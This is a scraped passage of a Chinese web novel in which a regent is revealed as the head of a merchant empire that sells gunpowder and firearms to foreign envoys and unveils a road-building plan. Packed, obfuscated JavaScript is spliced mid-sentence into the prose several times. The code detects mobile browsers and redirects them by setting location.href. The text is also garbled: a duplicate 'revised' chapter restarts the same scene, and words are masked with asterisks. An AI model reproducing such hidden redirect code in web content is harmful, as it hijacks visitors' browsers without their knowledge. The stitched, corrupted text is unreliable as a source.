d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879671|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳下熠熠生辉,璀璨夺目,几乎要灼伤人的眼睛! 更令人心悸的是,在匾额右下角,还有一个不起眼、却让某些见多识广的使者瞬间瞳孔紧缩的标记: 一枚外圆内方的铜钱图案。铜钱不过拳头大小,雕工却精细入微,连钱币上的字迹都清晰可辨。而铜钱中心的方孔,却被一朵精致绝伦、含苞待放的桃花所取代! 桃花五瓣,瓣尖微染嫣红,栩栩如生,仿佛下一刻就要随风绽放! “财……财神……商会?!” 死寂仅仅维持了一息,一个颤抖的、带着浓重西戎口音的中原官话,率先打破了沉默。 是西戎使团中那位年长的副使,他瞪大了眼睛,手指着那匾额,浑身都在发抖。 这一声,如同惊雷炸入滚油! “财神商会?!那个掌控东海至西域七成香料贸易、南洋三成珍珠航线、漠北与草原马匹交易近半份额的财神商会?!” “诸天神佛啊!我三年前曾通过十三道中间人,从财神商会手中购买过一批高炉精铁,品质远超宫廷御用,价格却公道得让人不敢相信!” “我家大王!去年国内大旱,国库空虚,正是向财神商会借贷一百二十万金,用以修筑河堤、购买粮种!利息……利息只有国内钱庄的三成!” “那个标记!桃花铜钱标记!没错!我家族经营珠宝三代,曾有幸为财神商会一位大管事镶嵌过一枚玉佩,上面就有这个标记!那是财神商会的最高信物!据说只有商会最核心的七位成员,才有资格使用!” “天……天啊!财神商会的幕后之主……竟然是……是摄政王殿下?!” 惊呼声!抽气声!难以置信的嘶喊声!各种语言的尖叫与议论,如同海啸般席卷了整个广场!许多使节脸色瞬间涨红,激动得浑身战栗,几乎要站立不稳!他们死死盯着那块“财神”巨匾,又猛地转头看向高台上那一身银白、神色平静的谢凤卿,眼中充满了极致的震撼、敬畏、以及一丝后知后觉的恐惧! 原来如此!原来如此! 难怪她敢提出“世界**库”这等惊世骇俗的计划!难怪她有底气向所有国家开放贸易!难怪她不怕技术泄露、不怕资金短缺、不怕物流阻滞! 因为,那个传说中的“财神商会”,那个富可敌国、触角遍及四海、行事却低调隐秘到极致的庞然大物——竟然就是她一手缔造、并牢牢掌控的商业帝国! 十余年布局,悄无声息间,早已构建了一张覆盖已知世界的商业网络、情报网络、物流网络!资金、渠道、信誉、人脉、技术储备……一切早就准备就绪!“世界**库”绝非空中楼阁,而是建立在早已夯实的、恐怖的经济基础之上! 这哪里是什么“马甲曝光”?这分明是——真神降世! 几乎在同一时刻—— “踏、踏、踏……” 整齐而轻捷的脚步声,自洞开的大门内传来。 第135章计划的第一步,已完美达成 只见八名身着统一灰色短衫、腰系深蓝束带、脚踏黑色薄底快靴的男子,快步走出。他们衣着朴素,毫不起眼,唯胸前以银线绣着一枚小小的、与匾额上一模一样的“桃花铜钱”标记。 八人分成四组,每组两人,手中皆捧着厚厚的硬壳卷宗。他们面容平静,眼神锐利而专注,行动间带着一种久经训练的高效与干练。 他们径自走向使节群中那几个最重要、最强大的使团——西戎、北蛮、西域大宛、波斯、天竺、南洋爪哇…… 在使节们惊疑不定的注视下,这些灰衣管事不卑不亢地躬身行礼,然后,以清晰而平稳的语调,开始低声而快速地陈述: “尊贵的西戎使节阁下,”为首的管事面向西戎正使,展开卷宗第一页,“根据贵国去岁秋,通过我会设在河西走廊的第三分号,订购三千套明光铠、五千柄环首刀的信用记录,以及贵国近三年与邻国边境冲突频率统计分析、主要作战地形评估,我会‘世界**库’项目组,为贵国量身定制了首批合作预案。” 他语速适中,确保通译能完整转述:“建议首批供应:标准军用颗粒**五百桶(每桶净重百斤),配发式燧发火绳枪一千二百支,附带**基数(每枪配弹一百发、**五斤)、基础维护工具套装五十套,以及详细图文操典、安全手册各一百本。” 西戎正使呼吸一滞,眼中爆发出炽热光芒!燧发火绳枪!那是比他们现在用的火门枪先进一代的武器! 管事继续道:“价格方面,鉴于贵国为我会长期合作客户,信用评级为‘甲等’,可享受‘世界**库’创始会员价八折优惠。支付方式灵活:支持全额金银支付,亦接受以贵国特产——优质战马、牛羊皮**、皮革、或特定矿石(如我方清单所列)——抵扣不超过六成的货款。运输事宜,可由我会旗下‘四海通’镖行负责,保费另计,但保证安全送达指定边境交接点。” 另一名管事几乎同时,已面向北蛮使者展开卷宗:“北蛮使节阁下。贵部盛产天下最矫健的草原战马,此乃我会长期大宗采购物资。本次合作,我会建议以‘易货贸易’为主轴。针对贵部游牧特性、缺乏固定**储存点之难点,我会特别研发了‘便携式防水**包’及‘长短双筒信号火箭’方案。” 他翻动页册,展示出简图:“**包以油蜡浸渍牛皮缝制,每包定量一斤,防水防潮,便于骑兵随身携带。信号火箭分长程(十里可见)、短程(五里),用于草原联络、预警、集结。具体兑换比例如下:一等战马一匹,可换标准**五十斤,或信号火箭二十支……另附赠简易野战**临时储存、防爆地窖建造图纸一套。” “南洋爪哇国使节阁下,贵国气候多雨潮湿,常规**极易受潮失效。我会已攻克此技术难关,特别提供‘双层蜡封防潮**筒’,保证在贵国雨季条件下,储存期延长三倍。并附赠‘简易竹木结构干燥储存仓’建造图纸,及本地材料替代方案……” “西域楼兰使节,贵国所需之开矿专用高爆**,经我会研究院十七次配方调整,纯度已按您上次密信所提要求,稳定提升至九成以上,爆破效能预估提升四成。这是小批量样品(呈上一只密封铁罐)及第三方(波斯匠作大师哈桑)出具的检测验证报告副本……” “天竺使者,关于贵国提出的‘驱象用爆鸣器’定制需求,我会研究院已有初步方案,利用特定配比**产生超高分贝巨响而不产生过多破片,预计三个月内可提供测试样品……” “东海琉球使团,贵国关注的‘海上灯塔用长效信号**’……” 雪片般的合作意向!量身定制的解决方案!琳琅满目的产品清单!清晰透明的价格体系!灵活多样的支付方式!从**本身,到配套火器,到储存方案,到运输保障,甚至到针对特殊需求的定制研发……一套完整、专业、高效得令人瞠目结舌的“世界级供应链”方案,伴随着财神商会管事们沉稳清晰的讲解,精准地投向了每一个重要使团! 许多使节在来之前,国内君主本就秘密授意,要尽可能获取中原的**技术或成品,哪怕付出巨大代价。此刻,面对这送到眼前、条件优厚得不可思议的合作预案,哪里还有半分迟疑?简直是喜出望外,如获至宝! 西戎正使第一个反应过来,他猛地向前踏出一步,右手用力按在左胸心脏位置,以草原最高礼节——深深弯下他从未向异族君主低下的头颅,用生硬却激动得发颤的中原官话,嘶声高呼: “财神……大·帝!谢大帝恩典!!” 这一声,如同投入滚油的火星,瞬间点燃了全场! “财神大帝!”北蛮使者紧随其后,单膝跪地,右手抚胸。 “谢财神大帝赐予合作之机!”西域大宛使者躬身长揖。 “我暹罗国,愿与财神商会——永世修好!”南洋使节双掌合十,深深鞠躬。 “草原上的雄鹰,向财神大帝致以最崇高的敬意!”另一个草原部族使者以额触地。 “财神大帝万岁!” “大帝恩泽,遍及四海!” 呼啦啦——! 如同被狂风吹倒的麦浪,所有的使节——无论来自大国小邦,无论先前是敬畏还是怀疑,此刻都心甘情愿地躬身,甚至单膝跪地、匍匐在地!向着高台上那一身银白、静立于“财神”巨匾之下的女子,致以他们各自文明中最高的礼节! 这不是对摄政王权的畏惧,也不是对军事力量的屈服。 这是对“财神”二字所代表的、那庞大到难以想象的商业帝国、那先进到令人绝望的技术实力、那公平到出乎意料的合作诚意——彻底的、心悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884270|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚服的折服! 萧御站在谢凤卿身后一步,看着这万国使节跪拜臣服的壮观场面,饶是他早有心理准备,此刻心中也是波澜壮阔,难以平静。 他早知道谢凤卿暗中掌控着惊人的财富脉络,知道她布局深远,知道“财神商会”这个传奇名字极可能与她有关。但他也没想到,她竟然就是那个神秘商会的唯一主宰!更没想到,她会选择在这样一个场合,以如此石破天惊的方式,彻底揭开这层最大的“马甲”! 这已不仅仅是财富的展示,这是将经济力量,直接升华为了**神权!从今日起,“财神大帝”这个尊号,将随着各国使节的归去,传遍四海八荒,成为比“摄政王”更具威慑力、更富吸引力的图腾! 谢凤卿面色平静如水,唇角含着那一丝似有若无、却足以倾倒众生的微笑,坦然接受了这来自世界诸国的、前所未有的尊称。晨光愈发炽烈,洒在她银白的衣袍上,反射出圣洁的光晕;洒在她身后的紫铜“财神”巨匾上,赤金大字燃烧如日。光与影在她身上交汇,仿佛为她镀上了一层超越凡俗的神性光辉。 她知道,计划的第一步,已完美达成。 从这一刻起,“谢凤卿”这个名字,在各国统治者心中,将发生根本性的蜕变:她不再仅仅是一个强大邻国的摄政王、一个需要警惕或讨好的**实体首领。 她是“财神大帝”——手握世界经济命脉,掌握尖端技术钥匙,能够提供他们急需的战略物资与发展机会的“赐予者”。**与军事的威慑,叠加经济与技术的绝对吸引,将编织成一张比任何盟约都更牢固、比任何武力都更深远的影响力之网。 世界**库的奠基,只是这张覆盖全球的巨网中,第一根被强力绷紧的经纬。 好戏,才刚刚开始。 午时初刻,京南平原。 日正当中,赤轮高悬,灼灼光华毫无保留地倾泻在这片一望无际的沃野之上。京南平原素有“畿辅粮仓”美誉,平畴千里,一马平川。而此刻,一片广达数百亩的土地被特意圈出,黄土夯实,坚如铁板。 场地四周,旌旗蔽空。玄色凤旗猎猎飞扬,财神商会各埠字号旗迎风招展,更有新设“天下道路总管衙门”的徽旗——交叉的金色车道与奔腾骏马图腾,在烈日下熠熠生辉。 热浪蒸腾,空气都在日光下微微扭曲。场地中央,最引人注目的,是一条新铺设的“王道”。 路基以黄土、石灰、糯米汁反复夯筑,高约三尺,宽达五丈,笔直如矢,向南北延伸。路面并非寻常土路,而是铺以二尺见方的青石板,石板打磨平整,拼接严密,缝隙以铅汁浇灌。路面中央微微拱起,两侧设排水沟,沟旁植有槐柳幼苗。 这短短百丈的示范道路,已透出一种前所未有的庄重、坚固与秩序感,彰显着国家力量与工程智慧。 第136章宏图已展,方略已具 而更远处—— 堆积如山的青石条、石灰包、木料,如山峦起伏; 数十架新式“铁辕夯车”、“石碾压路车”陈列道旁,这些器械以精铁加固,结构精巧; 数百名工匠、役夫正演示着各种筑路工艺:有的在调制“三合土”(石灰、黏土、沙),有的在铺设碎石基层,有的在用巨型石磙反复碾压路基…… 尘土飞扬,号子声、夯土声、石料碰撞声交织,一派热火朝天。 场地上方,搭起三丈高的檀木观礼台,台顶张着明黄绫罗华盖,以蔽骄阳。而观礼台的背景,悬挂着一幅纵二丈、横三丈的巨幅绢本地图—— 《天下通衢路网规划总图(初纂)》 地图以工笔重彩绘制,山河城池纤毫毕现。但最震撼的,是以不同颜色丝线,精心绣出的道路网络: 向北,朱红线如血脉贯伸,标注“朔方直道”。穿雁门,过云中,抵阴山,直至北海之滨。沿线绣有骏马、牛羊、毛皮图腾。 向西,金丝线蜿蜒如龙,标注“西域商道”。循汉时丝绸之路旧迹,出阳关,越流沙,过葱岭,贯通西域三十六国,直至安息、大秦。沿线绣骆驼、珍宝、香料纹样。 向东,靛蓝线沿济水、黄河而下,标注“东海驰道”。连接帝都、汴梁、济南、登莱诸港,与海上航线虚线交织。 向南,翠绿线穿荆襄,过洞庭,标注“岭南贡道”。通达交趾、日南,更有一缕虚线跨海,指向琼崖、流求。 中原腹地,线路纵横如棋盘经纬,将洛阳、长安、邺城、建康、成都、江陵等雄城巨邑串联;将河东盐池、江淮粮仓、江南丝市、蜀中锦官城紧密编织…… 这已非寻常舆图,而是一张经略天下、控驭四方的战略棋盘!是一种囊括八荒、吞吐六合的帝王视野!它昭示着,一旦这路网成型,粮秣、兵员、文书、商货将以前所未有的效率流转,王权之剑将所指无敌! 各国使节立于台下,仰观此图,许多人已忘记了拭汗,瞠目结舌,神魂俱震。他们从中看到了天朝上国深不可测的国力与野心,看到了自身邦国在未来天下格局中的位置——或是通达要冲,或是僻处一隅。 数位来自波斯、大秦等大国的使节,面色凝重如铁。他们深谙交通即权力,道路即命脉之理。此图所展,非止惠民通商,更是布武天下之道! “铛——铛——铛——!” 午时正,景阳钟鸣,声震四野。 谢凤卿再次登台。她已换下晨间的银白锦袍,改为一身月白纻丝箭袖劲装,外罩玄色绣金凤比甲,青丝以羊脂玉簪绾作男子髻,愈显英姿飒爽,利落干练。烈日灼灼,她凤眸微眯,目光却锐如寒星,扫视全场。 她手中所持,非是卷轴诏书,而是一柄长三尺、通体黝黑的令旗。旗面以金线绣北斗七星,旗杆为紫檀木所制,顶端嵌有虎头铜饰。 “**之威,可开山裂石,荡平险阻。”她清越之音透过数具铜制“传声瓮”,清晰稳定地传遍全场,“然,国之命脉,在于通达。民之生计,在于往来。昔者,车辚辚,马萧萧,行路之难,难于上青天!雨雪泥泞可滞重载,山川险隘可阻轻骑。迁延时日,耗费巨万,此乃锢塞天下生机之铁锁!” 她稍作停顿,目光扫过台下诸使各异神色,或震撼,或沉思,或隐忧。 “今日,本王欲以此图为纲,”她扬臂,玄袖迎风,直指身后巨图,声调陡然高昂,带着劈开混沌的决绝,“以磐石为基,灰土为骨,集天下巧匠良工之力,修筑贯通九州、连接万邦的天下通衢!” “此道,石板坚平,不惧雨雪浸渍!此途,驿亭相接,可保昼夜兼行!一支官家车队,可驭骡马百头,载粮秣万石,运兵甲千副,护卫数百!千里江陵,一日可达,非复诗家虚言!它将碾碎关山之阻,重定海内之距!” 台下再次哗然!那些来自偏远部落、对“道路”认知尚停留于羊肠小径的使者,脸上写满了不可思议。而来自波斯、天竺、大秦等广有驰道建设的古国使者,则激动得难以自持,交头接耳,目眩神迷。 他们的国度或许无力独立修筑如此规模、如此标准的庞大路网,但若能连接此网…… “天下通衢之业,将与世界**库同筹划,共推进!”谢凤卿声音沉浑有力,带着令人信服的感染力,“首期,将以京畿为核心,优先修筑连接各大粮仓、矿场、工坊、边关与漕运港口的官道干线。使我朝气血周流,筋骨强健。” 她话锋一转,目光如炬,投向使节队列:“然——此乃泽被天下之功业,非一朝一邦可独力承担。本王,以财神商会之信义,‘世界**库’之实力为质,诚向天下诸国,发出邀约!” 她微微挥动令旗。 立时,数十名身着财神商会灰衫、但肩部绣有“道”字徽纹的管事,手持一摞摞锦面册页,步履稳健,分赴各使节团,恭敬呈上。 册页封面以泥金题签,竟是以各国文字书写的标题: 《天下通衢共建合盟章程(邦国定制本)》 使节们急急翻阅。册内以清晰表格、工笔线图、条文细则,详列多种合盟方式: 壹、资财入股式:列国可以金帛、特产、土地折价,入股“天下道路总管衙门”下设之“通衢商号”(财神商会主理),按股分享官道沿途驿馆、货栈、税关之利,及优先通行权。 贰、技匠援筑式:财神商会可派遣精通勘测、设计、夯筑、石工之大匠、熟手,协助该国修筑境内支线或连接道,收取相应工技资费。 叁、役作协作式:该国出丁壮民夫,接受训导后参与道路修建,给付工钱粮饷,并可**得筑路技艺。 肆、资源易道式:该国以境内特定矿藏开采权、沿途土地永租权、或未来十年之商税抽成等,换取财神商会投资修筑贯通其境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891638|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之主干道。 伍、过境盟约式:官道穿越其疆,订立详尽之过境税则、安保条陈、驿传管理章程,确保道路畅通,该国坐收合理厘金。 陆、债劵募资式:发行“天下通衢建设债劵”,由财神商会作保,面向海内外商贾富民募资,用于特定路段营造…… 每式之下,皆附简要成例、风损估量、期年利得测算。专业、周密、切实,令人脊背生寒! 许多使节捧册之手,微微发颤。这非是寻常邀约,乃是一份置于案前、足以易鼎国运的“天命择卷”!何以抉择,需付何等代价,可获几多益处……泼天机遇与千钧重责,并压心头! “宏图已展,方略已具。”谢凤卿之声将众人自册页间唤回,“然,坐谈何如起行?今日,便请诸君亲眼一观——王道坦途,究竟何等气象!” 她转身,面向场地中央那段新铺的百丈石道,扬起了手中令旗。 全场目光,瞬间齐聚于那面七星黑旗,又随其指向,投向道路起点——那里,数十辆以巨木为辕、生牛皮为篷的特制“大车”,被黝黑苫布严密覆盖,静静陈列。车体较寻常马车硕大数倍,轮毂包铁,气势沉浑。 “此车队,名为‘驰风辂’。列号——‘破浪首阵’。”谢凤卿语音中隐含一丝不易察觉的昂然,“彼等,便是未来奔驰于天下通衢,负载万钧,昼夜不息的‘铁流’!” 她手中令旗,凌空划出一个特定符式。 “呜——!!!” 低沉浑厚、似**又似海螺的号角声,自车队中冲天而起!声浪浑厚绵长,迥异寻常金鼓,带着某种原始的、令人心悸的穿透力,震得耳膜嗡嗡作响! “嗬!” 不少使节被这突如其来、直撼肺腑的号角惊得浑身一颤,下意识后退,更有胆怯者直接瘫坐于地!便是中原官员,亦多骇然变色! 此声未落—— “哐!哐!哐!” 沉重的、整齐划一的脚步轰鸣,自苫布下传来!仿佛有巨灵列阵,踏地而动! 覆盖车队的厚重苫布,被两旁早已待命的力士齐力扯下! 烈日灼光之下,那“驰风辂”车阵的真容,悍然现世! 车队凡二十乘,分作四列。每车皆以百年硬木为骨,关键处裹以铁箍,车轮高逾常人,轮辐粗若人臂,轮缘包着三指宽的熟铁,寒光凛冽。车辕非是单辕,而是前所未见的“双辕四辙”结构,可同时系挂八匹乃至十二匹骏马!车舆宽大,上覆双层牛皮鞔裹的拱形车篷,篷侧开有窥窗,车尾设有踏板。 而最令人屏息的,是车前套马的阵仗—— 每车前,并非单马或双马,而是整整八匹清一色的河西高头骏马!马匹雄健异常,肩高皆过六尺,**色光亮,鞍辔鲜明,口衔铁环,颈套皮鞅。八马分为两列,由御手以长鞭、口令统御,静立时如山如岳,微动时则筋肉虬结,充满了**性的力量。 第137章稳稳执掌了这权柄的枢机 此刻,二十乘车,一百六十匹骏马,静静地立于新铺的石板道上。马鼻喷吐白气,铁蹄轻刨地面,整个车阵虽未动,却散发出一种千军待发、排山倒海般的恐怖压迫感,灼热气息与皮革、马汗混合的味道弥漫开来,令人心旌摇荡。 谢凤卿行至为首那乘车驾旁临时搭设的木台——此处已设为发令之所。她将手中黑旗,插入台前一个特制的旗架。 继而,在万籁俱寂,千人屏息的凝视中—— 她抬起右手,做了一个简洁有力的下劈手势。 “驾——!” 二十名御手齐声断喝,长鞭凌空炸响! “咴咴——!” 一百六十匹骏马同时扬蹄嘶鸣!声震原野! “轰隆隆隆……!!” 巨大的包铁车轮开始转动,碾过青石板道,发出沉重、整齐、雷鸣般的轰响!那声音不似寻常车行辘辘,而是带着一种金属与石头摩擦、碾压的质感,沉闷而有力,仿佛大地都在随之震颤! 车阵动了! 这由精良车驾、雄骏马匹、老练御手组成的庞然车阵,沿着那百丈笔直石道,开始启动、加速、疾驰! 御手呼喝,长鞭破空,马蹄翻飞如浪,车轮滚雷动地。烟尘自道上升腾,在车后拖出滚滚黄龙。车队保持着严整队形,四列并驱,速度越来越快,渐渐竟如一股贴地奔流的钢铁洪流,势不可挡! “动……动了!好快!” “天爷!八马共曳一车!闻所未闻!” “这阵仗!这威势!千军万马亦不过如此!” “神乎其技!此非人间车马,乃天兵驾临!” “还在加速!竟比单骑快马不遑多让!” 惊呼声如同溃堤狂潮,瞬间席卷全场!诸国使节再顾不得礼仪矜持,蜂拥至道旁,瞠目结舌,死死盯着那奔腾而过的车阵!有人激动得手舞足蹈,有人跪地叩拜喃喃祝祷,有人面色惨白如见神兵天降…… 短短百丈距离,车阵疾驰而过,不过十余息,便在另一端缓缓勒停。骏马喷鼻喘息,车轮余响不绝。 但这车阵所展现的、将优良道路、精良车驾、健硕马匹、严明号令结合后所产生的恐怖运输与机动能力,已如烧红的烙铁,深深烫印在每一个目睹者的魂魄深处,毕生难忘! 试想,这般车阵,连绵数十里,运载粮草军械,或精兵锐卒,在纵横天下、平坦如砥的通衢大道上日夜兼程,风雨无阻……那将是何等光景? 物资转运之速之量,将增十倍、数十倍!大军调动之诡之疾,将如臂使指,朝发夕至!王权政令所达之远之确,将无远弗届,如响斯应! 经济、军务、政令、教化……一切旧有之桎梏,皆将被这王道坦途与铁流车阵碾为齑粉,重定乾坤! “财神大帝万岁!!!” 一个嘶哑劈裂的呐喊,再度点燃天地! 此番,已非晨间那夹杂着敬畏与盘算的呼号,而是彻底被这超越认知的国力与伟绩所慑服、所震撼、所由衷崇拜的狂热嘶吼! “愿天朝通衢早日通达鄙邦!我波斯愿献出国中最好路线,与大帝共筑王道!” “南海岛国,星散波涛,亟需此天路相连!乞大帝垂恩!” “我大宛国,愿献汗血宝马三百匹,美玉五十车,但求通衢过境,永缔盟好!” “草原诸部,愿为大皇帝驱策,出丁壮,献牛羊,但求**得筑路御车之法一二!” “财神大帝!您便是铺设王道、驾驭铁流的现世神皇!!” 更加狂热、更加敬畏、甚至带着战栗泣音的呐喊,自各国使节口中迸发!此番,他们跪拜得愈发虔诚,许多人的额头紧贴滚烫土地,姿态卑微如觐见天神。 他们所见的,已非止财富与奇技。 乃是一种足以重塑山河、定鼎天下的终极伟力!而能执掌此力,并愿(纵是有条件)泽被天下的“财神大帝”,在其眼中,已超脱俗世帝王,近乎执掌文明轨迹、天道运行的至高神明! 谢凤卿立于那刚刚停稳、骏马犹自喘息喷鼻的“破浪首阵”旁,飞扬的尘土渐渐落定,阳光穿过尘雾,为她月白色的身影镀上淡淡金辉,更显神秘超凡。她再次微微颔首,泰然受礼,目光平静地掠过那些激动万分、乃至涕泗横流的使节,最终,落回观礼台后方那幅覆盖整墙的《天下通衢路网规划总图》。 晨间的“财神”身份大白于天下,午时的“通衢”伟力震撼四夷。 两者相叠,威能岂止倍增? 雄厚财力与鬼斧神工,在今日完美交融,展现出了远超金戈铁马的、更为根本而持久的征服力量。她的个人威仪与王朝对未来的吸引力,已被推至一个旷古烁今、万国景仰的绝巅。 无形的、以资本与工程编织的至尊权柄,已然铸就。 而她,稳稳执掌了这权柄的枢机。 第四十章财神马甲,全场掉马(古风修订版) **午时·天下通衢——王道坦途 午时初刻,京南平原。 日正当中,赤轮高悬。 灼灼光华毫无保留地倾泻在这片一望无际的沃野之上,将天地熔作一鼎金汤。京南平原素有“畿辅粮仓”美誉,平畴千里,一马平川,本朝开国百年来,此处所产粟米麦豆,足供三成京官俸米、五成禁军口粮。沃土之上,春麦方收毕,茬口尚新,空气里还浮着秸秆被烈日炙烤后特有的焦香。 而此刻,平原腹心,一片广达三百七十亩的土地被朱漆木桩与杏黄绳缆特意圈出。地表三尺浮土尽去,以糯米汁掺三合土反复夯筑九遍,再铺细沙碾实,坚如铁板,赤足踏之灼肤。场地四周,旌旗蔽空—— 正北高台之上,九面玄色凤旗猎猎飞扬,旗上金线绣就的凤凰在烈日下流光溢彩,凤尾迤逦三丈,每一随风卷动,便似活物振翅欲飞; 东侧,财神商会各埠字号旗迎风招展:“汇通天下”、“裕国丰民”、“四海货殖”……一色玄底金边,旗角缀铜铃,风过时千铃齐鸣,声如碎玉; 西侧,新设“天下道路总管衙门”的徽旗格外醒目:靛青旗面,交叉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894357|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色车道图腾蜿蜒如龙,一匹踏云骏马奔腾其间,马鬃以银线掺绣,日光照耀下银波流转,恍若神驹沐日而行; 更有各国使节自携的邦国旌节、部落图腾旗,五色杂陈,林林总总插满南侧观礼区。赤日之下,千旗漫卷,投下斑斓晃动的光影,将整片场地织入一片流动的色海。 热浪蒸腾。 空气在灼目日光下微微扭曲,远望去,地平线处的村庄、林木皆如浸水中,摇曳荡漾。蝉嘶嘶地疯鸣,声浪一波高过一波,几乎要刺穿耳膜。许多来自北漠雪原、南疆密林的使节,早已汗透重衣,面皮赤红,不住以袖拭额,却仍舍不得眨一眨眼—— 场地中央,最引人注目的,是一条新铺设的“王道”。 那路,自北向南,笔直如矢。 路基高约三尺,以黄土、石灰、糯米汁“三合土”反复夯筑九层,每夯筑一层便泼洒桐油加固,再覆细沙碾实。夯土层间,更夹入纵横交错的竹筋、苇束,以增韧性。这般工艺,非是寻常官道,倒似筑城之基。 路面宽达五丈——足足可容五辆四驾马车并行!路面并非寻常土路,而是满铺二尺见方、厚逾半尺的青石板。石板产自房山石窝,石质坚密,色如沉墨,表面以**之法打磨得平滑如镜,日光斜照,竟能映出人影。石板拼接处,缝隙细如发丝,灌以铅汁锡水,冷却后与石板齐平,雨水难渗。 更精妙处,在于路形:路面中央微拱,形如龟背,两侧渐低。拱顶与路肩高差约三尺,纵是暴雨倾盆,雨水亦能迅疾汇入两侧石砌“金明沟”中。沟宽二尺,深三尺,内壁以砖石砌就,每隔十丈设一沉砂井。沟旁新植槐、柳幼苗各一列,树干皆以草绳缠裹,以防日灼。 这短短百丈的“王道”示范段,已透出一种前所未有的庄重、坚固与秩序感。它静卧于烈日之下,沉默无声,却自有一股吞吐山河的气魄——那是糅合了国家力量、工程智慧与磅礴财力的实体宣言,是文明对荒野的驯服,是秩序对混沌的划界。 而更远处—— 景象更为震撼。 东侧空场,物料堆积如山:青石条码放如城墙,方整森严;石灰包垒成丈高方阵,外覆苇席;巨木枋材层叠似梯田,松脂清香混着石灰的涩气,在热风中弥漫;更有成堆的碎砖、河沙、卵石,分门别类,堆放齐整。数十名青衣小帽的账房手持算盘、册簿,穿行其间,高声唱数登记,噼啪算珠声与报数声此起彼伏。 西侧,则是“巧器”之林:数十架前所未见的新式筑路器械陈列道旁。有“铁辕夯车”——以硬木为架,关键处裹以铁叶,下设四轮,中悬千斤石杵,以绞盘、齿**控起落,八名壮汉推动前行,石杵轰然砸下,大地震颤;有“石碾压路车”——以整块巨岩凿成滚轮,轮径逾人高,中以铁轴贯之,前有牛马牵引,后有扶柄操控,碾过之处,土石尽伏;更有“飞斗运料车”、“平土犁耙”、“凿石水錾”……皆结构精巧,铁木交铆,在日光下泛着冷硬的乌光。 第138章旭日东升,灼灼逼人 中央工地,数百名工匠、役夫正演示各种筑路工艺。 夯土区,二十名赤膊汉子喊着号子,齐抬重逾三百斤的“梅花夯”。“嘿——嗬!”夯起夯落,砸在铺洒石灰的土层上,闷响如雷,尘土扬起丈高。每人脊背汗水晶亮,肌肉虬结如老树根瘤。 拌料区,五口巨锅支在石灶上,锅内糯米汁熬得稠白冒泡,热气蒸腾。伙计以长柄铁锨不断搅动,另有人按比例倒入石灰、细沙,搅作灰白黏浆,“三合土”的独特气味辛辣呛鼻。 铺石区最为壮观:三十名石匠分作三组。一组以墨斗、矩尺在夯实路基上弹线分格,线直如弦;二组四人共抬一块青石板,喊着号子缓步移至定位,石板落地时“砰”然闷响,尘烟微扬;三组为老师傅,蹲于板侧,以铁签插入缝隙,眯眼校核水平,稍有不及毫厘处,便以薄铜片垫入调整。校毕,少年学徒提来炽热铅水,以长柄铁勺小心浇灌缝中,“嗤——”白烟窜起,一股熔金属的焦香弥漫开来。 尘土飞扬,号子声、夯土声、石料碰撞声、铁器叮当声、牛马嘶鸣声、账房唱数声……万千声响交织成一曲野蛮而雄浑的筑路交响,在旷野上轰轰然传开,连蝉嘶都被压了下去。 场地正北,搭起三丈高的檀木观礼台。 台基以青石砌就,四角立朱红抱柱,台面铺陈波斯进贡的缠枝莲纹羊毛毡毯。台顶张着明黄绫罗华盖,绫上绣九龙戏珠,龙睛皆以指甲盖大小的东珠缀成,华盖四角垂下金丝流苏,缀着鸽卵大小的琉璃响铃,风过时清音泠泠。 而观礼台背壁,那幅纵二丈、横三丈的巨幅绢本地图—— 《天下通衢路网规划总图(初纂)》 才是真正夺魂摄魄的存在。 地图以宫廷御用“澄心堂”特制绢本为底,细密如肤,莹白胜雪。工笔重彩,墨线勾勒山河城池,纤毫毕现:黄河九曲,金粉描就,水纹粼粼似能流动;长江浩荡,靛青晕染,烟波渺渺如在目前;五岳耸峙,石膏点皴,山势巍巍欲破绢出。城池、关隘、津渡、驿站,皆以蝇头小楷标注,字字清晰。 但最震撼的,是以各色丝线,精心绣出的道路网络—— 